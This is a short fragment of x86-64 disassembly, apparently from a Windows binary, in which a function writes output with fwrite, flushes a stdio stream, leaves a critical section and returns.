mov edx, 1
lea rax, [0x140063689]
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x50], 0xaf4
mov dword [rbp - 0x24], 0
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
call sym.fflush
mov dword [rbp - 0x24], eax
mov qword [rbp - 0x50], 0xaf8
lea rax, [0x14007b180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140014fef
nop
call sym.popFrame_7
nop
add rsp, 0x90
pop rbp
ret